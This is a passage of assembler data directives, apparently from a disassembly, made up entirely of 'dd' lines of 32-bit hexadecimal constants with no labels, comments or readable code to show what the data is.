		dd 0B5051C21h, 0C41C4D95h, 9C20FB8Ch, 7C4E6Fh, 0A418BB7h
		dd 51C381D0h, 0E44BC128h, 81034620h, 80E9E1D4h,	0D2DCD16Ah
		dd 18B0074h, 0EAAF355Bh, 38ACE118h, 8C1AECF8h, 504AD73h
		dd 31912586h, 82A022AFh, 2F130060h, 22B48101h, 0D7E22A40h
		dd 89246C7Ch, 5C2D09F4h, 8311E435h, 0D54FED80h,	87008A12h
		dd 48390EBFh, 509B018Ch, 20B63481h, 31013A55h, 1A245F98h
		dd 20909B8Bh, 49651088h, 40DA3627h, 0D36D640Eh,	571287BBh
		dd 83F0EE40h, 778603A5h, 0BC27A0C6h, 0DB8ABDB8h, 54BF7207h
		dd 270C222h, 9CD70FF7h,	7ABD82B8h, 610556C6h, 1F109CEDh
		dd 0EF107C2Bh, 0E9CE1EAEh, 97678240h, 0CD69BDFEh, 2FD07399h
		dd 54003C35h, 0D189861Eh, 94699F2Bh, 0F08B6E3Ch, 99C01AC8h
		dd 5587436h, 2A59C16h
		dd 81C8438Fh, 0BD906E19h, 921FC831h, 4A80D8E1h,	0A2BEB4BCh
		dd 503CE522h, 2436C107h, 5A99B276h, 0E88AF46Ah,	969B0858h
		dd 8CC75D00h, 0B947043h, 9AA06FD8h, 3DBFC448h, 0CA250E25h
		dd 5E40DC0Ch, 941C1446h, 7B150010h, 77395EC2h, 0D0C891B7h
		dd 0C6096D08h, 0E206D110h, 0DC28DE64h, 0AAE6CD00h, 377B5DDAh
		dd 81941E29h, 0BDB41373h, 25AACC0h, 8A3EEBA4h, 64EAC719h
		dd 76446CF4h, 0D110D746h, 31CF0C26h, 464E6900h,	7F3CDD04h
		dd 834712B9h, 0B180049Fh, 46ED1E5Dh, 7CF55C1Ch,	41B67217h
		dd 0BD1C2BCCh, 54627BE7h, 0F1B8794Eh, 9F51889h,	0B9682BD4h
		dd 85969890h, 0C835D524h, 5F4C6AA5h, 0B100C8B7h, 0BA819739h
		dd 8CE702F1h, 360AA31Eh, 8B0990F0h, 74C7BD13h, 3208DCC0h
		dd 803B3721h, 0C47AB38h, 0E90FE3B7h, 43C59D65h,	0B87518B6h
		dd 924E1EA4h, 0C5405A38h, 56CA97Ch, 72A0F666h, 20B91CFDh
		dd 0F264CD1h, 950BA86Dh, 0ADC8D938h, 0C5003435h, 0F303596Fh
		dd 8C5C005Dh, 55FF2038h, 0D0B682CFh, 84E87E00h,	2F23ED8Dh
		dd 8065EEDEh, 2F4EBB91h, 728C7300h, 8B9D0238h, 0F2CFD5CCh
		dd 4E2F7856h, 71A8B18Ch, 5231197Bh, 7380BBFCh, 0BC9026E7h
		dd 6CA0272Ch, 4AC02921h, 58CC4C4Bh, 5FD8FB39h, 0DAE2FB7h
		dd 8264A867h, 27B2F660h, 7048C80Eh, 36014503h, 89811CE8h
		dd 0D8657F82h, 1C0911E4h, 8A2ABDEFh, 983F54AEh,	0AB91B319h
		dd 54EECC1h, 6860F108h,	596000A2h, 94DB3E82h, 0AFEA0208h
		dd 6F8B128Ch, 7C7800CCh, 16EE8BE9h, 38E8BD23h, 2485B47h
		dd 0CB19C3A0h, 20684B86h, 0DCAA9CACh, 0BBC6A00h, 1AB03D08h
		dd 0D2A71876h, 0B5FE4815h, 2EFC1D59h, 7A048CACh, 0A8F2891Fh
		dd 12308BF2h, 0EEC01358h, 0B808E9E6h, 12D63C46h, 7F004F40h
		dd 3D4B0B91h, 15B3AFh, 33AB8C18h, 0D22B7824h, 7ABCBE0Bh
		dd 0BE8213Ah, 0A82C43EAh, 62C1A200h, 8428E8B1h,	91489795h
		dd 58EC8066h, 1A9107Bh,	0F79C0344h, 3E54295Fh, 0A73B46Bh
		dd 0EBD433D5h, 8846748Ch, 0B34EDD00h, 0CCC8ABF2h, 0A7C72B02h
		dd 542852ECh, 37467C6Ch, 76BE7702h, 74DC39B6h, 685E1900h
		dd 2DBF5224h, 0B401627Ah, 7ABE6F90h, 91D6A449h,	0F4213CBCh
		dd 7D96BFCh, 0BA981B3Fh, 5F6510DFh, 0AD0481A6h,	51E43C13h
		dd 453420AFh, 0C816B5D8h, 0A0A60E1Fh, 646340E2h, 810F9480h
		dd 0FD56750Ah, 2E00FAB0h, 10E8BCB1h, 712669D5h,	71663082h
		dd 289CA852h, 17BECDCh,	11C2C059h, 0F5020440h, 4FDC39F8h
		dd 18C8A0CBh, 846601C3h, 2782EBC0h, 174E148Fh, 3C09BC7Fh
		dd 0E8221F63h, 0A5018EC3h, 0B433063Fh, 0CC3165A2h, 0FA5A25F4h
		dd 76A30594h, 40434986h, 0E67973F8h, 0A75E987h,	0F502806h
		dd 416AEAh, 88919318h, 0C09F8A5Ah, 0C6097A05h, 40EEAF5Dh
		dd 0F474810Ch, 0F5673A4h, 0C46DF0E8h, 508F000Bh, 4B6686CDh
		dd 0BE4A682Ah, 9E166CB2h, 0F11C9015h, 6B2FFF32h, 733C0B22h
		dd 0C2DB587Ch, 77A9EC00h, 8E76E5FCh, 34205E95h,	887C8B68h
		dd 29A1C085h, 950214EAh, 1BEBA6DFh, 68925FFFh, 465E087Eh
		dd 0F9A72563h, 0D4E08970h, 6411649Dh, 8060280h,	0EFA05453h
		dd 0E225299Ah, 16FC8EA7h, 0E52B1420h, 2C5C00E0h, 25FA4B9Ch
		dd 0AA336FA5h, 804121FFh, 0B5F0CFD1h, 7AC234E8h, 0C75BC783h
		dd 61911E6Ch, 5D63C2Ch,	89C99C37h, 106CCF20h, 0B9D24786h
		dd 0CDA8BCh, 8A4DA1DAh,	0EA91EF19h, 66AC0297h, 0F98B0164h
		dd 4B5C388Fh, 0AAE088A6h, 0F602AC8Fh, 0BE74D56Dh, 0D8B46A91h
		dd 7C4CB46Ch, 0C90F8246h, 8C80F8A1h, 7974A827h,	0E98A3106h
		dd 1EB08713h, 0EC4E22BDh, 3924818Ch, 2C5EFC7Ah,	8C18ECD0h
		dd 0C08D6100h, 588CBF42h, 0FA2209A5h, 24D41F6Dh, 0EDD16A9Ah
		dd 12F9C074h, 5805FA2Bh, 3CD52D4h, 1800F0EDh, 4606363Bh
		dd 0E601B0DBh, 247A985Bh, 5432E89Eh, 0DA8D8103h, 0AC0367Dh
		dd 0AE387C8Ch, 0CF55046Bh, 64BD25DEh, 8FA74B74h, 0CE328808h
		dd 69B27080h, 20250E8Eh, 0BC454C8h, 105C57EDh, 70E473ADh
		dd 88001B9Fh, 58CBD652h, 55030A26h, 4823A8AEh, 13083A2h
		dd 0C1A100F7h, 0A85EB421h, 861338ECh, 4CA83B45h, 7111D4C0h
		dd 6C9EB99Eh, 0C0104D25h, 0A6B5E0F6h, 870E0200h, 0AB4E8C59h
		dd 58FF259Ch, 20BC1878h, 7EA02CD6h, 27A0AABh, 67E301E0h
		dd 0D06EC318h, 54520DEBh, 3088F28Ch, 0B4E616D8h, 0CA72A212h
		dd 0F501E892h, 1CC4F8ABh, 6FC04655h, 8F80BCDBh,	85951526h
		dd 0A53B9100h, 18CCBBAh, 9C3AE7A7h, 0EE0EF57Ch,	92F37478h
		dd 6C1C4C6Fh, 0C2091FADh, 3AEA065Ah, 0C83338F4h, 0F09907FCh
		dd 0C0D84CBFh, 0AA2CEE6h, 9C07F64Ah, 2A82CDE4h,	0C488ABF2h
		dd 159061Ch, 8A849115h,	0E5FA1001h, 43D4C5A3h, 0D22C9068h
		dd 1CFB49D4h, 263CE470h, 8BC41D6h, 139279C6h, 32F2D0A2h
		dd 211730h, 0E304AA3Eh,	2436C2AEh, 0C080EDB5h, 6FD3E012h
		dd 60EDD12Fh, 9FD99368h, 0C1C1A407h, 2A515D13h,	4500F8F2h
		dd 53BAA456h, 0D61209EAh, 10A29B4Ch, 7FE2007Bh,	0AF52540h
		dd 5703299Dh, 2671C7CEh, 88A68B64h, 9B128FBh, 583323E8h
		dd 0F0411876h, 49AF5182h, 0E60AC009h, 0ABD30022h, 8D96E031h
		dd 0D0423F5Fh, 8021DDC1h, 0CFD460F4h, 0E4819766h, 0D77185FEh
		dd 1BE2801h, 9F022A6Eh,	27040474h, 48E8EA6Dh, 0A20BC921h
		dd 0F2C5A84Fh, 22D20A8h, 0B5B6AC0Bh, 3E84F125h,	0B0235B7Dh
		dd 7B4A3914h, 89BA7CD2h, 7CCC428h, 902C2451h, 0B07D403Dh
		dd 5200E971h, 36338DA0h, 50F045A5h, 3FDE1C8Eh, 0B6822CF9h
		dd 138C4175h, 51B40777h, 93A3E26h, 8362222Bh, 0ECF45C0Bh
		dd 8FF04C40h, 4E110180h, 107F90CDh, 0C0E4575Fh,	0C75D4CB7h
		dd 30784C9Bh, 5CA602BEh, 41D710C7h, 390944D8h, 1205FC20h
		dd 0DCE07408h, 30C1D300h, 0A06C2AB4h, 0EE8B08A7h, 0F8302C4Eh
		dd 4A169Bh, 0FFEBDC60h,	907B1A33h, 8CD2BCA2h, 9A4A0943h
		dd 569E8028h, 98DF7E9h,	0B0939524h, 5325F47Eh, 2FBC58E0h
		dd 6D7A3612h, 6FC09A1Fh, 0F0241DF7h, 98CB5984h,	12EF5C0Bh
		dd 1BBD9C50h, 0F2CF90FCh, 4418C935h, 0DBB6FC80h, 88091C2Ch
		dd 40DD8676h, 49D7D4D8h, 5E0394FEh, 655091C0h, 0F7579AE0h
		dd 3579CCA8h, 0AE5199C3h, 4C2D513h, 0F6F0D67Dh,	0F83F5E01h
		dd 5A71ED27h, 593087D3h, 16F14F82h, 0A61E8B9Dh,	0D2C0E734h
		dd 97EBBA74h, 9AAB4E9h,	4051BEF0h, 0A74B105Bh, 4CE4C4D0h
		dd 0F691054Ah, 0B3320995h, 44E64E38h, 6B76BFA0h, 11CD1700h
		dd 0F5803F01h, 40E8370Fh, 0D20BA9h, 0B555EF07h,	0C04F49F6h
		dd 0CF948574h, 0E60D024Eh, 0A67D8972h, 3288907Fh, 1AC500A1h
		dd 0BC0F51C6h, 0B2178565h, 80B3AAB8h, 298A2388h, 66071079h
		dd 0B6C510D4h, 78203CB5h, 85512739h, 6DA7E873h,	0F87A4088h
		dd 18B1BB8Eh, 671885D1h, 6A4CC901h, 372CE458h, 0BCDA7C40h
		dd 68FA003Bh, 7AD82E9Eh, 0E4BD32A1h, 4290074h, 2B21A37Dh
		dd 5100D780h, 59AB2FF3h, 44376963h, 9304B426h, 6FF8C92Ah
		dd 56A117C2h, 0F98A4168h, 0E0C02B83h, 27524889h, 64F2D7D6h
		dd 11174CA0h, 0B9604102h, 0A096225Ch, 0A7D653A8h, 340E970Eh
		dd 802622DDh, 0A5000963h, 0D2EB50DFh, 223800C7h, 1BC41431h
		dd 1A62CA70h, 950B79h, 0D6614E17h, 320AB719h, 90101051h
		dd 0CCF61841h, 0AF47FE00h, 861BBDC4h, 5430059Dh, 0ECFD9676h
		dd 9CE25FDCh, 29406200h
		dd 19C49247h, 690FF900h, 7AEC464Bh, 8B2C028Ah, 894D8C59h
		dd 1DCFC76h, 0B0C59184h, 0D0D135E8h, 7E0038AAh,	0CE218654h
		dd 5008029Ch, 58D0F9h, 1F2E2882h, 21F1DE67h, 0D2EBCC38h
		dd 3086E23Ch, 0A903E999h, 8C90680Bh, 0A70015Bh,	0BD9C7B2Bh
		dd 2CD22ED1h, 9424F01Ch, 500F4D8h, 0CA1D11E8h, 0BFBBD22Ah
		dd 705B50C1h, 0E7B775FCh, 62146468h, 24C257C7h,	1960187Eh
		dd 12FEE5E3h, 0AC4C7BCAh, 2D4B80B4h, 0E087E07h,	0DEE340E4h
		dd 0E2BE3301h, 176DC850h, 34908E4Eh, 41A1B5F4h,	10C13F5Bh
		dd 60CAECE9h, 83588D7Ch, 88899DAAh, 3D640D4h, 0A26CCA22h
		dd 97E19CC8h, 39A1C76Bh, 0BB24447Dh, 13D89818h,	8D2274Fh
		dd 0A7080D3h, 319A0377h, 0F1EDBAC6h, 7B115805h,	388E51C1h
		dd 0AFC03788h, 0B980F0ACh, 0EE8E058Ch, 28D8EC0Eh, 130FC84Fh
		dd 81730575h, 66C6B0A1h, 2FBF5020h, 90202AA2h, 8CB3EA33h
		dd 0AC8FE95Ah, 1DC164C8h, 55C401A3h, 83DF3E3Eh,	7F80A1CEh
		dd 31234C3Bh, 9C8E013Bh, 9EEFD635h, 72C40E2Ah, 0D3F08AA2h
		dd 0A5A0840h, 473522Ch,	825EF943h, 0B0B7D523h, 86DFB301h
		dd 306041A7h, 886F499Eh, 0C0FC9A4Fh, 0A284AD91h, 895E250Ah
		dd 0A3FDA085h, 4F298488h, 0B62233Eh, 981E8532h,	0FCBED12Eh
		dd 0C0C44DADh, 816321AAh, 1CF00690h, 6CE4BDh, 849D13D0h
		dd 616E2D3Bh, 93D35700h, 50755258h, 76382489h, 4205C9A0h
		dd 0AF0C828Ch, 524824DFh, 1B8BD0A0h, 1893AB01h,	0A3BDDCA3h
		dd 301DE248h, 1903909Dh, 2C63890Dh, 0B0B4D8FCh,	0CE62DBCh
		dd 34A57804h, 23A828ADh, 0D16FCE00h, 11984EFh, 0F8449D83h
		dd 5ECC6554h, 789EBF2Fh, 0B6740860h, 2A3C3089h,	7A58A0ACh
		dd 35151070h, 4BE0B81Eh, 10507BE8h, 11AC1FBDh, 0F97E8018h
		dd 0BF17B7C9h, 8F9C3CE0h, 79683535h, 946EFAh, 1F858B69h
		dd 740CADDFh, 2ABC089Eh, 0C70A6726h, 396C84D1h,	4A221743h
		dd 2AA4ED68h, 0BF0EF0DFh, 778FE202h, 0C1E814F9h, 91ED2A01h
		dd 0F4AA6FB2h, 8627643Dh, 0C5C88818h, 3830EF5Ah, 0EF27E18Ah
		dd 9694912Fh, 0EB1C3471h, 0DEFC0D4Bh, 4194E05Eh, 60A0E54Bh
		dd 0BDD1C47Dh, 0D4CCFCECh, 44D34B24h, 0FC2FE189h, 452818A8h
		dd 741AD00Bh, 89F93E03h, 0A44BA76Ch, 0B81C10BAh, 0BEBCC45Ah
		dd 0F700686Bh, 7CFC0ADDh, 0FB610B36h, 88BE22A1h, 5EB0AC40h
		dd 0BD207D39h, 7BB23C02h, 54E903h, 796E2B49h, 9637063Dh
		dd 42E7650Eh, 38CE615Eh, 0C1800272h, 769B32F8h,	5C4EF1BEh
		dd 20AEC20h, 68099D63h,	7427F4C4h, 0E478E5C4h, 0C396637Bh
		dd 1FB79891h, 97741EF3h, 0C8D067BEh, 0A63740h, 5AECC5AAh
		dd 0BF61800Fh, 48283838h, 62E613C4h, 0D43454F1h, 0B9961375h
		dd 5B58B22Bh, 16F210B2h, 4CF27030h, 62264CAh, 0D1685100h
		dd 0EF7C60EEh, 0B4135AF6h, 0BEF0EB4Ch, 2BC1A59h, 4D7BAD51h
		dd 1DB890EAh, 3CE773F2h, 4B01A8A0h, 31F02750h, 6C887FAFh
		dd 0ECE2BD45h, 106294C1h, 4D72D2h, 0B5F8F6C6h, 8B8DA877h
		dd 47ED5D00h, 591A3D55h, 0B9271AC8h, 30784088h,	0CF789C93h
		dd 39517674h, 20BAF6Fh,	38461811h, 0DC48BCh, 0D9E97F6Fh
		dd 7A69C63Dh, 3382C702h, 181EB1Ah, 2FF12839h, 6AFBDC75h
		dd 0C4530050h, 0D42E1D52h, 11183A10h, 0A24CB3DBh, 3DF03366h
		dd 0B804A972h, 6B6E019Ch, 0E9AC5CF9h, 21186702h, 41CDE56Ch
		dd 9100724h, 80ABF7E2h,	52415EFAh, 20C52F2Fh, 1C46EFFh
		dd 21D1658Fh, 0EC70553Bh, 10F8060h, 8B30F071h, 0E9B1E152h
		dd 0C9334FD4h, 6CDB6E54h, 30AFCF87h, 0E1E96F8Bh, 0BB138C38h
		dd 37522D3Dh, 5E170070h, 61E8BBAh, 0DE14AD00h, 0AAF201E1h
		dd 0F8591C9Bh, 0F88D153Ch, 0C900273Ch, 83BF8E62h, 0B13B1719h
		dd 0A68481D7h, 8AC3A913h, 827BB3EDh, 0D040897Ch, 0CE20BE8Dh
		dd 0B1477C18h, 3EFA0014h, 5D03268Fh, 5310DCB4h,	44DC7D8Bh
		dd 64FD1264h, 23282E92h, 99ED0217h, 0A863E8BDh,	0DC0223B2h
		dd 0B305AEBh, 2A9BC058h, 0C4BEB056h, 963CA0D6h,	36E48Ch
		dd 594C99DBh, 22B258Dh,	0F85D8A28h, 0A45EF65Ah,	6AD4E1F2h
		dd 0A5A47B4Ch, 13DCC4F4h, 0F8D47BB5h, 0C5338084h, 99F167h
		dd 0F719B463h, 38EA1EBDh, 0AD882C01h, 919FF98Ah, 0DDF0C452h
		dd 43151C98h, 0E44A8BFEh, 89C80CCBh, 6031DCC1h,	0E850346Fh
		dd 56A28010h, 3F13FAB3h, 2703209Fh, 0EB4E3553h,	0CA76E2B0h
		dd 42D995Bh, 40CBE430h,	0AA5F0380h, 8423F43Eh, 58A2AE00h
		dd 6135721h, 2ABDD12Ch,	88B0585Eh, 73391E12h, 18073037h
		dd 0F0EBC480h, 4C8C0559h, 0F05E7AE1h, 137FD97Ch, 0E8EC854Ch
		dd 0DA078C1Ah, 8ECAABEBh, 0E7E980EFh, 274E4805h, 0ACDBC174h
		dd 0F765C70h, 5BF3D9D5h, 60A236h, 54E31291h, 524EDEBh
		dd 612FFC7Bh, 0CE31C0E1h, 1D4A8676h, 0F03D78A1h, 0C0DB52A2h
		dd 3D54D4D8h, 283446Fh,	41395D96h, 7174C3Bh, 13C5EA53h
		dd 98FC12BEh, 6272A381h, 98CB3B88h, 30B88C48h, 774B028Ch
		dd 38A815C3h, 298890F5h, 8CD3161Ah, 97E4E2E9h, 0E9A8E4A9h
		dd 125B952Eh, 8D44481Fh, 10A483F0h, 0E2A55F68h,	0D71280A0h
		dd 7DF9BCD0h, 7C8501AFh, 91087823h, 0AC3839B4h,	0E8DF4B9Ch
		dd 8C30BCF8h, 26011174h, 22A36F52h, 0C0286C62h,	3CFE1907h
		dd 999F428Ah, 583D7Dh, 0C937E8DBh, 179F652Dh, 808391A8h
		dd 37160148h, 45EECD0h,	8EF0C9E0h, 0A7D6456Ah, 0F61849AEh
		dd 70D0C08Bh, 0A6E0DE0Eh, 7451ABDFh, 0F200DC04h, 8F33919Ch
		dd 0BEED7748h, 30465E14h, 6E22C200h, 74881D15h,	0C1BD9E25h
		dd 0F337E0h, 0FD14F429h, 0CC599070h, 0D1E81C02h, 0E00258BCh
		dd 4B8AB8B3h, 0F76040D6h, 122251BEh, 4B819403h,	8003E731h
		dd 9D295FF8h, 4CC0E4EDh, 5C021B0h, 0D9E3B5B7h, 0BFB0707Fh
		dd 94800D0Eh, 23C520B5h, 5A2DEFF8h, 2770441Fh, 74E63EBDh
		dd 0EF7E8605h, 6EEA3AB7h, 0A1B316A0h, 0F8203CBCh, 1F107195h
		dd 7C5B82F3h, 15C1B445h, 59D0E85Dh, 0B9F9CE05h,	78B272D9h
		dd 0C46DB527h, 0CB8ABE60h, 3F461CE3h, 20C8221h,	0B806957Fh
		dd 78452FF0h, 0FAA1C8C0h, 952188h, 10B3BED7h, 0BB598B8Eh
		dd 2A2D4D0Fh, 478D6072h, 55D7D591h, 8E2AA8B6h, 0C07BC8C8h
		dd 0D2B9EF45h, 82DCC306h, 954857ECh, 69C0F8EDh,	17B483F5h
		dd 4673F3Dh, 102B7A50h,	400C04A4h, 6EFE08D2h, 0AC3D0028h
		dd 14EE38E1h, 78799749h, 5A00501Dh, 4E3F67B0h, 456D0778h
		dd 710D5B6h, 1E84E12Eh,	0CB2B27h, 6EC089C8h, 1FA417h, 0CB2B326Fh
		dd 5A7521BBh, 0BB51E038h, 95849AFh, 6654AE39h, 0F0415AF8h
		dd 0B61274DCh, 9CB94871h, 7BB824D4h, 8CEA008Ch,	192BFBA9h
		dd 664827D2h, 0DF92218h, 34ADBE76h, 0A8CD2A68h,	85887C0Bh
		dd 92331DC0h, 7EF709DBh, 34057651h, 4ED0B710h, 6323702Fh
		dd 0BC6FCD05h, 2E0ECC8h, 7AA2BED4h, 805F8B82h, 63F34C98h
		dd 4C507907h, 0A40A4E5Fh, 272489F0h, 9B1F8459h,	6B48A680h
		dd 0BB3C7Eh, 0CF15B07Bh, 58626384h, 5DC8C295h, 0D66440CFh
		dd 0A1A20A83h, 0CB7B57DFh, 76BD05F8h, 50F6F71Fh, 36B66FE0h
		dd 8CA37001h, 821ACBABh, 221C8E7Eh, 0DE66005Eh,	0EBE1BA01h
		dd 194E8ECFh, 8C79E03Bh, 9D024E16h, 0F35EB0BCh,	3188E208h
		dd 27A33017h, 0AE2AA309h, 9740F978h, 0F81CBCA6h, 0C0008C18h
		dd 0D47F0A59h, 0F93CD110h, 0F7718852h, 6CA3C819h, 91A52C40h
		dd 50C84F3Fh
		dd 1C4FB7B4h, 1418260h,	0F2B7178Fh, 9370E860h, 941BC900h
		dd 638E1Ah, 0DC5AC23Bh,	1CA6CF59h, 26D7D609h, 98507811h
		dd 9B8B223Ch, 191AF69h,	7AE15B1Ch, 0C98B0ADh, 67501A03h
		dd 0E18718h, 4B11BE74h,	5204D15Eh, 0D8CC6B27h, 198D1096h
		dd 0BF5B023Ch, 55661202h, 5BE4C06Bh, 5D310010h,	0C94BB687h
		dd 0BD086DB9h, 371AE22h, 0E0297381h, 2CF6284Bh,	0B6E649E0h
		dd 95CCA501h, 3A4D8E76h, 2ACCC96Bh, 16C8188Bh, 299415C0h
		dd 0F8754A39h, 4485DD90h, 0E8B440C1h, 5B848741h, 88A8CA22h
		dd 0E8B09002h, 0D86268BEh, 0DC4CBC62h, 9180E091h, 0B9B4E9B0h
		dd 0FB062735h, 6740F04Fh, 399D92Eh, 0A7C2C3F4h,	8AF2280Eh
		dd 6FF59D61h, 54021CD1h, 98316100h, 0C058CD97h,	68595ECDh
		dd 9D67A15h, 21180794h,	0E049B9C8h, 4A336043h, 0E0D8E69Bh
		dd 0E85C4DE0h, 0A5222D0Ah, 75723860h, 7C4B48B4h, 1103DCA8h
		dd 0FA492510h, 5FE8AAE0h, 0FC155CC6h, 3082604h,	0D6E5EBF4h
		dd 6AE1000Fh, 5DB9A137h, 920F0CEAh, 4052F312h, 0D7EBFACCh
		dd 22362805h, 0D0211E20h, 527D71Eh, 0AB7B0750h,	49A5C53h
		dd 7CFCA5C0h, 6302EA48h, 2AA2A83Dh, 7CCF68Ah, 68A3E189h
		dd 54C75D09h, 5E00DCF4h, 7C15A03Ah, 0B4C2BBh, 530A324Eh
		dd 6D681C34h, 7ECBD403h, 882C28F2h, 1FB20201h, 4176903h
		dd 0C083DDECh, 3667CDA2h, 0BCAF7F00h, 0D45C7ECFh, 1FD900EBh
		dd 80DB5530h, 0C3664CD8h, 21E708h, 531FD20Eh, 0A170498Ch
		dd 1A36E900h, 313C56FEh, 86B400E4h, 0A99D8A5Bh,	0F407DC45h
		dd 0B5059103h, 0D0BADDC3h, 0DDEFE9Fh, 0E08D14CAh, 8EDFE930h
		dd 0E0445CB0h, 0E9BB3079h, 0A4030F01h, 3A802F7Fh, 0BA6C338Bh
		dd 26F03C7Dh, 0F82B420h, 97B69ECBh, 0F8B00820h,	0A066FFCFh
		dd 1F219908h, 0C797AEC0h, 0EFAFD2BDh, 32BE56E3h, 0C6454380h
		dd 5DCD630Eh, 0BD670159h, 0E3CCBAD3h, 0DE767B4Eh, 0A868D540h
		dd 0DC92B900h, 823D2B8h, 729B7100h, 0E593A8B2h,	9480001h
		dd 84382936h, 5101DE58h, 0F23118A3h, 18862F8Ah,	2030B993h
		dd 72F889F0h, 6215FA01h, 0A2ECBAE5h, 401180F0h,	5800293Ch
		dd 0C182F2DDh, 332D53D0h, 4E08C8B9h, 0D5792101h, 0F0601AF2h
		dd 3E3D11C4h, 61E0BB93h, 39C5F5B4h, 0EA401201h,	95220C26h
		dd 0C9E18980h, 0AD622BFBh, 0F3E6B900h, 44ED8186h, 0D54F01CBh
		dd 22015A98h, 42318E90h, 0FB2800EEh, 2EDC667Ch,	3AE4DD6Ah
		dd 89299983h, 0F90F336Ch, 0E0FB824Fh, 885C75B8h, 86D66B0h
		dd 70002148h, 0C5C6FB7Ah, 17515EBh, 931054A2h, 0BB3969B7h
		dd 0D53806B8h, 7C92D17h, 89479149h, 33A8F0B2h, 8CC7CAAh
		dd 0FC6A2140h, 34600047h, 0E03E9326h, 376C3D31h, 8C8EA071h
		dd 0E2FB8704h, 49629DB8h, 0FB7F7520h, 0F3F03D2h, 0E42E9EFAh
		dd 6270598h, 0F107860Ah, 7F11D429h, 81F2DC80h, 448CC8C1h
		dd 0D400784Ch, 41C390F2h, 112147FDh, 33188Bh, 0EC713146h
		dd 17ECDE2h, 5D735F35h,	87EFAF3Fh, 4939C141h, 2495389Ch
		dd 112411B5h, 0C38F012Ch, 3CEB2674h, 93C0B3F0h,	0ED443B00h
		dd 83790D7Dh, 6D1B827Ah, 9CC88437h, 86F2E160h, 11F0C123h
		dd 0D97D1254h, 6A00481Eh, 8D281285h, 0D87A6F59h, 0EC5AA1B8h
		dd 63C12D08h, 0AF3E0631h, 9E064186h, 4712270Fh,	4180ED11h
		dd 9E9DA5Bh, 4000209Bh,	0BB2643CDh, 90A015DEh, 6D9714A0h
		dd 8DC8E861h, 0E1FB86C0h, 229546B8h, 7E740045h,	0AD6F9EFBh
		dd 0E5140F98h, 5805206h, 3B65C532h, 2C09014h, 284347E9h
		dd 81AE1B5h, 0A98E3FF1h, 0E4C06977h, 0B43EF83Bh, 0F819B1E5h
		dd 8E0033C1h, 6537BDF0h, 3AD0505Fh, 55562h, 0A918571Fh
		dd 0A7F8B494h, 44BAE418h, 20F5AA80h, 54495A55h,	0B4930A58h
		dd 0B7BBE065h, 0FC169C2h, 39A612EDh, 61C20EAh, 207B2FEEh
		dd 0A4002987h, 0D92EC89h, 333C4D84h, 0A0087405h, 81C62100h
		dd 0D198C9ECh, 128006D9h, 608FA53Bh, 4265F622h,	3B6C15EEh
		dd 487102A4h, 7FCF94F0h, 3D557660h, 0BA938E13h,	2DED3830h
		dd 2EE28032h, 9069BF14h, 863450E0h, 0F2E30E8Ch,	5409C188h
		dd 7F046C96h, 9B07F2DBh, 0E3DEB9C2h, 24871F5h, 0A3222814h
		dd 28908284h, 0C1F4F2DFh, 6953E021h, 0A1F2AF87h, 329A0AFBh
		dd 3043F208h, 0CCFD86F6h, 0BA02332Ah, 12C4ADB7h, 4988942h
		dd 9760DB58h, 0B2238F47h, 3F4611B4h, 0E85870h, 0CE66BD30h
		dd 20A98D0h, 416C19AEh,	28403205h, 0CA1950EDh, 0D9606379h
		dd 47099518h, 9CA4B28Dh, 0EC6E4A88h, 9EFE019Fh,	6DE65292h
		dd 2431F370h, 0A0049821h, 0E14A0797h, 0BE39DDEh, 8182FE00h
		dd 5807DAC9h, 4D1991EDh, 6ACD0D20h, 0D774A144h,	8B47E419h
		dd 1194B223h, 6C3F41h, 0DBB2C447h, 3A5A53C0h, 5C48A5BDh
		dd 8EC08088h, 460D97ECh, 9F22ACh, 0AAEC86CBh, 0EAB16BEBh
		dd 0F44A7901h, 5E3909C1h, 0DEBA9840h, 0CCE9D4C9h, 783EB510h
		dd 83305A02h, 4842132Fh, 1077E08h, 0A5286976h, 0CD802A6Dh
		dd 9909104Dh, 79F76FE0h, 12BC0414h, 10895930h, 4AE92Eh
		dd 8F9E76C3h, 0E3519BF6h, 2CE2B0Eh, 0B6FFE02Ch,	36DD479h
		dd 439AB478h, 8E80FDEEh, 400AC5Ch, 0B3CF90DAh, 4FC920h
		dd 0C50F43AFh, 0A7096098h, 24823A00h, 337A3806h, 0FE4900FDh
		dd 0DF23CEB3h, 0BE006D13h, 0C8557DBBh, 3824A541h, 0BD864D91h
		dd 71B54598h, 0A3CDBF00h, 9EB9A70Bh, 0F7FE0303h, 0E9A212A5h
		dd 1CD31EC8h, 76A7401h,	26812741h, 1A6CC0h, 0DFFEA868h
		dd 0EE5F9ECFh, 4077B9EEh, 598BB207h, 0BCF0AFB1h, 98E0DCB4h
		dd 9C2358DEh, 70655700h, 0D596DB5Ah, 0D422BD1Fh, 4E528A40h
		dd 737499E8h, 92534CC9h, 0C6182F07h, 0C41A1035h, 0F338FE3Fh
		dd 0EB86805Bh, 9B42DB53h, 9A982CFDh, 1FAC0161h,	203190A5h
		dd 93E182FFh, 0A0EEE102h, 150097EFh, 33305CC5h,	83631Dh
		dd 0B15ADF37h, 491B66A0h, 0A5790F00h, 48AB5272h, 0B05F00AFh
		dd 0E57B479Bh, 0D0CAC40h, 6274F4CCh, 799D0739h,	7258DC35h
		dd 1D4168FEh, 75778001h, 42D4A64Ah, 1F7300ABh, 3FFA2BBAh
		dd 1301BFF3h, 15A17DFFh, 0EE207FFDh, 18EF0077h,	6FCB225Bh
		dd 72758633h, 0B1F51900h, 0E6A6DB9Dh, 305B0EC8h, 50C0742Eh
		dd 0BE6B2FC6h, 0FCC0B138h, 52C0D6DEh, 262434BBh, 55C739CAh
		dd 8A38B500h, 9D5A74Ah,	0E5A94D00h, 19B2953h, 0C9B31745h
		dd 16350461h, 0DC0B8077h, 5500E751h, 2335912Bh,	72FF8559h
		dd 3DD30033h, 47CBE343h, 7B0375A6h, 0FB8430DAh,	0CFF52A7Eh
		dd 0D1AB0534h, 8389AE47h, 20EFED87h, 32ECE905h,	0E43C9801h
		dd 0A1733366h, 79DBA80h, 0E226C72Bh, 9F2D4F30h,	0E2D4C5B7h
		dd 3C24C1A0h, 3E078A66h, 0AC1B00BFh, 0BE2EF674h, 18EB923Ah
		dd 2090FDC6h, 10828956h, 1E2DA943h, 0A40277F5h,	26928001h
		dd 0C966E10h, 1B27E39h,	2DC7BD52h, 25873474h, 16D3C6DCh
		dd 3D000EC4h, 900DD167h, 142BDD7Ch, 8B514006h, 7812B000h
		dd 204315EDh, 0BB727B06h, 0CC05B7Fh, 392D8879h,	804EC42h
		dd 6C50B061h, 44AE2182h, 4A340017h, 4E0ADAA4h, 7200D2ACh
